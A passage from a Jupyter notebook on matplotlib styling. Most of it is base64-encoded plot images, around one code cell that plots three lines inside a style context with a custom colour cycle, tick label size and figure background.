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\nd02ZMkV5eXl67733yn0Os1LzqtKXW2FWKqekpERLliyRn5+f/vSnP1VrLXubF9NuafD395d083d4\nnjx5UtLN95bA+q5euiosLLRxJbVPVFSUVq9erdtvv13Tpk2Tu7t7hZ/LrNSc6vTlVpgV43h7eysw\nMFDp6enKzc295SV0ZsV6KtOXW2FWKqegoKDs5/upp5664WOWL1+u5cuXa9CgQXruueduulZ583L1\ndmvNi2kDb/v27SVJcXFxKi0tveYdtfn5+Tp48KCcnZ3Vpk0bW5WI30hOTpZ05U0GqLjNmzfr008/\nVcuWLTVlypRK/8fArNSM6vblVpgVY507d05S+adnMCvWVdG+3AqzUjlOTk7q16/fDe9LS0tTWlqa\ngoKC5O/vX+52h5CQEH3xxReKjY3V448/fs19WVlZyszMlLe3t3x8fAyr/1ZqfeAtLi5WVlaW6tWr\nd827/Hx9fdWxY0fFxcXpm2++ueaA8MjISBUWFmrAgAF8AksNuVlfjh07Jk9Pz+su62ZnZ2vlypWS\npF69elm11tps48aNioyMVKtWrTRlypRbXi5nVqzHiL4wK8bJyMhQo0aN5OHhcc3tpaWlWr9+vXJy\nctS2bduy7zWzYh1G9YVZMY6zs7NGjhx5w/siIyOVlpamPn36XPPRwoWFhTp9+rRcXFyu+VS84OBg\nBQQEKCkpSb/88ss1Hzyxdu1aSdJDDz1ktT28dhl49+zZo59//lnSlWNGpCsfT3d1L4+bm5v+/Oc/\nS5LOnj2rMWPGyNvb+7q9Pi+88IKmTp2qVatWKT4+XoGBgUpJSdGBAwfk5+enJ5980opfVe1nRF92\n7dqlLVu2qH379mrWrJlcXV2VlZWlffv2qaioSJ07d9Zjjz1m5a+sdtqxY4ciIyPl6OiooKAgbdu2\n7brHNGvWTH379pXErFiLUX1hVowTGxurNWvWqF27dvLx8ZGbm5vOnz+vpKQkZWVlycPDQyNGjCh7\nPLNiHUb1hVmxrdTUVM2cOVPBwcGaMWNG2e2Ojo4aNWqUwsPDFRERoR49esjLy0sJCQk6fPiw2rZt\nq8GDB1utTrsMvOnp6WXnVV6VlZVVdjixt7d3WbC6FV9fX82bN0+RkZGKjY1VTEyMPD09NXDgQA0d\nOtSQN4/UJUb0JSQkRCdOnFB6erqSk5NVWFiohg0bKigoSL1791bv3r15h3MFnTp1StKVV8s3ClXS\nlVfYV4PVrTArxjGqL8yKcTp06KD+/fvr0KFDOnr0qC5evCgXFxf5+/urV69eGjRoUIV/xpkV4xjV\nF2bFfrVp06ZsXvbv36/8/Hx5e3vriSee0JAhQ+Tk5GS1WhwiIyOt85luAAAAgA2Y9lgyAAAAQCLw\nAgAAwOQIvAAAADA1Ai8AAABMjcALAAAAUyPwAgAAwNQIvAAAADA1Ai8AAABMjcALAAAAUyPwAgAA\nwNT+F8I+Z9HvTwKBAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fd2e8adba58>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with plt.style.context({'axes.prop_cycle': plt.cycler('color', colors),\n", " 'xtick.labelsize': 20, 'figure.facecolor': \"#AAAAAA\"}):\n", " plt.plot([1,2,3,4], [2,3,4,5])\n", " plt.plot([1,2,3,4], [1,2,3,4])\n", " plt.plot([1,2,3,4], [3,4,5,6])" ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [ { "data": { "image/png": "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